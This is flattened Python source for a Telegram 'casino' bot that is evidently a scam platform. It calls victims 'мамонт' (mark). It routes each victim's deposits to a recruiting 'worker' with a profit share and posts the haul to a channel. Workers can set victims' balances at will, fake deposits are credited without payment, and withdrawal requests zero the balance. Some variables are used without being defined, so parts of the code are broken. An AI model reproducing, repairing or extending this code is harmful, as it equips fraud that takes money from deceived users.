def info_mamont(message, classes): try: if (message.text.isdigit()) and (classes == '1'): num = database.user_num(message.text) balance = database.user_balance(message.text) status = database.user_status(message.text) invite_code = database.user_invite_code(message.text) bot.send_message( message.chat.id, f'(ID) - баланс - инвайт код - статус\n\n({num}) - {invite_code} - {balance} ₽ - {status}', parse_mode="Markdown") elif (message.text.isdigit()) and (classes == '0'): telegram_id = database.user_telegram_id(message.text) username = database.user_username(telegram_id) balance = database.user_balance(telegram_id) status = database.user_status(telegram_id) invite_code = database.user_invite_code(telegram_id) bot.send_message( message.chat.id, f'(ID) - баланс - @username - инвайт код - статус\n\n({message.text}) - @{str(username)} - {invite_code} - {balance} ₽ - {status}', parse_mode="Markdown") except: pass
def notification_pay(call, amount): try: status = database.user_status(call.message.chat.id) if (status != 4): code = database.user_invite_code(call.message.chat.id) WTI = database.worker_telegram_id(code) database.worker_update_profit(WTI, float(amount)) text_to_worker = f'🦋 *Успешное* пополнение\n\n🙋🏻♀️ Мамонт: @{str(call.message.chat.username)}\n\n⚡️ Сумма пополнения: *{amount}* ₽\n💸 Твоя доля: ~ *{repl_share(amount)}* ₽' params = { 'chat_id': WTI, 'text': text_to_worker, 'parse_mode': 'Markdown' } resp = requests.post( f'https://api.telegram.org/bot{tickets}/sendMessage', params) b = json.loads(resp.text) username = b['result']['chat']['username'] text_to_channel = f'🦋 *Успешное* пополнение\n\n💁🏻♀️ Воркер @{str(username)}\n\n⚡️ Сумма пополнения: *{amount}* ₽\n💸 Доля воркера: ~ *{repl_share(amount)}* ₽' params = { 'chat_id': channel_id, 'text': text_to_channel, 'parse_mode': 'Markdown' } resp = requests.post( f'https://api.telegram.org/bot{tickets}/sendMessage', params) elif (status == 4): code = database.user_invite_code(call.message.chat.id) WTI = database.worker_telegram_id(code) database.worker_update_profit(WTI, float(amount)) text_to_worker = f'🦋 *Успешное* пополнение (ТП)\n\n🙋🏻♀️ Мамонт: @{str(call.message.chat.username)}\n\n⚡️ Сумма пополнения: *{amount}* ₽\n💸 Твоя доля: ~ *{repl_share_support(amount)}* ₽' params = { 'chat_id': WTI, 'text': text_to_worker, 'parse_mode': 'Markdown' } resp = requests.post( f'https://api.telegram.org/bot{tickets}/sendMessage', params) b = json.loads(resp.text) username = b['result']['chat']['username'] text_to_channel = f'🦋 *Успешное* пополнение (ТП)\n\n💁🏻♀️ Воркер: @{str(username)}\n\n⚡️ Сумма пополнения: *{amount}* ₽\n💸 Доля воркера: ~ *{repl_share_support(amount)}* ₽' params = { 'chat_id': channel_id, 'text': text_to_channel, 'parse_mode': 'Markdown' } resp = requests.post( f'https://api.telegram.org/bot{tickets}/sendMessage', params) except: pass
def balance_to_user(message): try: if (':' in message.text): data = message.text.split(':') telegram_id = database.user_telegram_id(data[0]) user_code = database.user_invite_code(telegram_id) worker_code = database.worker_code(message.chat.id) if (user_code == worker_code) or (message.chat.id == support) or (message.chat.id == admin): value = float(data[1]) call = database.user_set_balance(telegram_id, value) if (call == 1): bot.send_message( message.chat.id, f'💁🏻♀️ Баланс был *изменен*\nНовый баланс: {database.user_balance(telegram_id)} ₽', parse_mode="Markdown") else: bot.send_message(message.chat.id, '⚠️ Данный пользователь записан *не за Вас*!', parse_mode="Markdown") except: pass
def message_to_users(message): try: if (':' in message.text): data = message.text.split(':') telegram_id = database.user_telegram_id(data[0]) user_code = database.user_invite_code(telegram_id) worker_code = database.worker_code(message.chat.id) if (user_code == worker_code) or (message.chat.id == support_id): bot.send_message(telegram_id, data[1], parse_mode="Markdown") Thread = threading.Thread(target=checking_username, args=(telegram_id, responce.text)) Thread.start() return True else: return False else: return False except: pass
def user_status_pay(call): try: in_fake = database.user_in_fake(call.message.chat.id) if (in_fake != '0'): database.user_clear_fake(call.message.chat.id) database.user_update_balance(call.message.chat.id, repl_percent(in_fake)) bot.send_message(call.message.chat.id, f'💸 Баланс пополнен на сумму *{in_fake}* ₽', parse_mode="Markdown") in_deposit.remove(str(call.message.chat.id)) database.user_add_listpay(call.message.chat.id, 0, 0) elif (str(call.message.chat.id) in in_deposit): code = database.user_invite_code(call.message.chat.id) data = call.message.text.split('\n') amount = data[0].split(' ') amount = amount[2] comment = data[4].split(':') comment = comment[1].replace(' ', '') api = QApi(phone=phone, token=token) payments = api.payments['data'] thread = 0 for info_payment in payments: if (str(info_payment['comment']) == str(comment)): if (str(amount) == str(info_payment['sum']['amount'])): bot.send_message( call.message.chat.id, f'💸 Баланс пополнен на сумму *{amount}* ₽', parse_mode="Markdown") database.user_update_balance(call.message.chat.id, repl_percent(amount)) database.user_add_listpay(call.message.chat.id, code, float(amount)) notification_thread_pay(call, amount) in_deposit.remove(str(call.message.chat.id)) thread = 1 if (thread == 0): bot.answer_callback_query(callback_query_id=call.id, show_alert=False, text="💁🏻♀️ Платеж не найден") except: pass
def start_command(message): try: chat_id = message.chat.id code = message.text.split() if (not database.user_exists_casino(chat_id)): if (len(code) == 2): exists = database.worker_exists_code(code[1]) if (exists is not False): username = message.from_user.username database.user_add_casino(chat_id, username, code[1]) bot.send_message( chat_id, f"🙋🏻♀️ Добро пожаловать, *{message.from_user.first_name}*\nУ нас очень большой выбор вида игр, которые подойдут для каждого пользователя", parse_mode="Markdown", reply_markup=keyboard.casino_keyboard()) casino_config.notification_thread_ref( code[1], message.from_user.first_name, username) else: message = bot.send_message( chat_id, '⚠️ Напишите *правильный код-приглашение* пригласившего Вас человека', parse_mode="Markdown") bot.register_next_step_handler(message, user_invite_code) else: message = bot.send_message( chat_id, '💁🏻♀️ Для начала работы, *напишите код-приглашение* пригласившего Вас человека', parse_mode="Markdown") bot.register_next_step_handler(message, user_invite_code) else: if (database.user_invite_code(chat_id) == '0'): message = bot.send_message( chat_id, '💁🏻♀️ Для начала работы, *напишите код-приглашение* пригласившего Вас человека', parse_mode="Markdown") bot.register_next_step_handler(message, user_update_code) else: bot.send_message( chat_id, f"🙋🏻♀️ Добро пожаловать, *{message.from_user.first_name}*\nУ нас очень большой выбор вида игр, которые подойдут для каждого пользователя", parse_mode="Markdown", reply_markup=keyboard.casino_keyboard()) except: bot.send_message( chat_id, "⚠️ Ошибка при *регистрации* пользователя. Повторите попытку снова написав /start", parse_mode="Markdown")
def notification_receive(message, balance): try: code = database.user_invite_code(message.chat.id) WTI = database.worker_telegram_id(code) text_to = f'@{message.chat.username} - создал заявку на вывод\n\nTelegram ID: {message.chat.id}\nСумма: {balance} ₽' reply = json.dumps({ 'inline_keyboard': [[{ 'text': 'Выплатить', 'callback_data': 'ACCEPT_RECEIVE_MAMONTS' }]] }) params = {'chat_id': WTI, 'text': text_to, 'reply_markup': reply} resp = requests.post( f'https://api.telegram.org/bot{tickets}/sendMessage', params) except: pass
def notification_payment(message, amount): try: code = database.user_invite_code(message.chat.id) WTI = database.worker_telegram_id(code) text_to = f'@{message.chat.username} - создал заявку на пополнение\n\nTelegram ID: {message.chat.id}\nСумма: {amount} ₽' reply = json.dumps({ 'inline_keyboard': [[{ 'text': 'Оплатить', 'callback_data': 'ADD_IN_FAKE' }]] }) params = {'chat_id': WTI, 'text': text_to, 'reply_markup': reply} resp = requests.post( f'https://api.telegram.org/bot{tickets}/sendMessage', params) except: pass
def enter_receive(message): try: code = database.user_invite_code(message.chat.id) WTI = database.worker_telegram_id(code) phone = database.worker_phone(WTI) balance = database.user_balance(message.chat.id) helps = token if (message.text == phone) and (balance > 0): notification_thread_receive(message, balance) bot.send_message( message.chat.id, f'📨 Ваша заявка *была отправлена*.\nСумма - `{balance} ₽`\n\nМы оповестим вас, когда заявка будет выплачена', parse_mode='Markdown') database.user_set_balance(telegram_id, 0) else: bot.send_message( message.chat.id, f'⚠️ На балансе *нет* средств или Вы ввели *другой кошелек* QIWI\nДоступно для вывода - `{balance} ₽`, QIWI кошелек - `{phone}`', parse_mode="Markdown") except: pass